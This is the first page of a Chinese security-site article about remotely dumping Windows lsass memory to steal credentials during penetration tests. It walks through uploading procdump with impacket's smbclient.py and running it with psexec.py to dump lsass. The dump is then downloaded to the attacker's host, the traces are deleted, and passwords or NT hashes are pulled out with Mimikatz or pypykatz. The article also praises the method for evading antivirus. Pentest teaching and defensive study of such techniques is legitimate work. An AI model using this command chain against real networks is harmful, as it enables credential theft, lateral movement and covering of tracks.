欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

通过lsass远程提取凭据

来源:本站整理 作者:佚名 时间:2020-01-28 TAG: 我要投稿


在企业渗透测试中,横向移动感染和权限提升是测试攻击范围和扩大攻击力的两个必选项。有多种方法可以实现其中一种,但是今天我们将介绍一种远程读取lsass转储内容的新技术,这将极大地减少在一组计算机上提取密码时的延迟和检测。
lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。注意:lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。
CrackMapExec
CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。该工具利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。
CrackMapExec工具由Byt3bl33d3r开发和维护的,其目的是异步地能够在一组计算机上执行操作。该工具允许你使用域或本地帐户以及密码或LM-NT哈希在远程计算机上进行身份验证。
CrackMapExec是采用模块化方式开发的,可以创建该工具在登录到计算机时将执行的自己的模块。模块已经很多了,例如枚举不同的信息(DNS,Chrome凭据,已安装的防病毒软件)模块,BloodHound构建器的执行或在“组策略首选项”中查找凭据的模块。BloodHound是一个独立的Javascript Web应用程序,基于Linkurious构建,使用Electron编译,其中Neo4j数据库由PowerShell ingestor提供。
Mimikatz模块
特别是有一个模块,它在一段时间内非常有效,那就是Mimikatz模块。CrackMapExec在远程计算机上运行Mimikatz,以从lsass内存或本地安全权限子系统提取凭据。lsass包含所有安全服务提供者或SSP,它们是管理不同类型身份验证的数据包。出于实际原因,用户输入的凭据通常保存在这些SSP中,这样用户就不必在几秒或几分钟后再次输入它们。
这就是为什么Mimikatz提取位于这些不同ssp中的信息,就是因为试图找到一些身份验证机密,并将它们显示给攻击者。因此,如果一个权限帐户连接到其中一台受感染的主机,则Mimikatz模块允许你快速提取它的凭证,从而利用这个帐户的权限来攻击更多的目标。
但是今天,大多数杀毒软件已经可以检测到Mimikatz的存在或执行,并阻止它,所以CrackMapExec模块只是挂起,等待来自服务器的响应,但由于进程被杀死而无法获取。
手动方式:Procdump
因此,我过去常常使用名为Procdump的工具手动完成此任务。
Procdump是Sysinternals套件中的一个工具,由Marc Russinovich编写,旨在帮助系统管理员。目前,这个工具集已经被大量的管理员和开发人员采用,所以微软在2006年决定购买它,并且这些可执行文件现在已经由微软签署,因此Windows认为它们是合法的。
procdump工具就是这些工具中的一种,它的任务是转储正在运行的进程内存。它会附加到进程,读取其内存并将其写入文件。
procdump --accepteula -ma  processus_dump.dmp
如前所述,Mimikatz在lsass内存中寻找凭证。因此,可以将lsass内存转储到主机上,在本地下载其转储,并使用Mimikatz提取凭据。
Procdump可用于转储lsass,因为它被认为是合法的,因此不会被视为恶意软件。
例如,使用套件impacket中的smbclient.py将procdump发送到服务器。

smbclient.py ADSEC.LOCAL/jsnow@DC01.adsec.local
# use C$
# cd Windows
# cd Temp
# put procdump.exe
上传后,需要执行procdump来创建此lsass转储。

psexec.py adsec.local/jsnow@DC01.adsec.local "C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass C:\\Windows\\Temp\\lsass.dmp"
然后,需要将转储文件下载到攻击者的主机上,并删除远程主机上的跟踪记录。

# get lsass.dmp
# del procdump.exe
# del lsass.dmp
可以使用Mimikatz检索凭证:第一行加载内存转储,第二行检索秘密。

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
该技术非常实用,因为它不会产生太多噪音,并且仅在目标主机上使用合法的可执行文件。
限制与改进
这种方法有不同的局限性,我们将在此处概述它们,并提出改进措施以解决这些问题。
Linux / Windows
第一个问题是,在测试期间,无论是用于Web测试还是用于内部测试,我主要使用Linux,而Mimikatz是专门为Windows开发的工具,最好能够在Linux计算机上执行上述攻击链。
幸运的是,Skelsec的Pypykatz项目可以帮助我们解决此问题。Skelsec在纯python中开发了Mimikatz的部分实现,这意味着跨平台。像Mimikatz一样,这个工具让我们能够提取lsass转储的秘密。

pypykatz lsa minidump lsass.dmp
由于有了这个项目,现在可以在Linux计算机上执行所有操作。上一节中介绍的所有步骤均适用,并且将lsass dump下载到攻击者的主机后,pypykatz用于从此转储中提取用户名和密码或NT哈希。

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载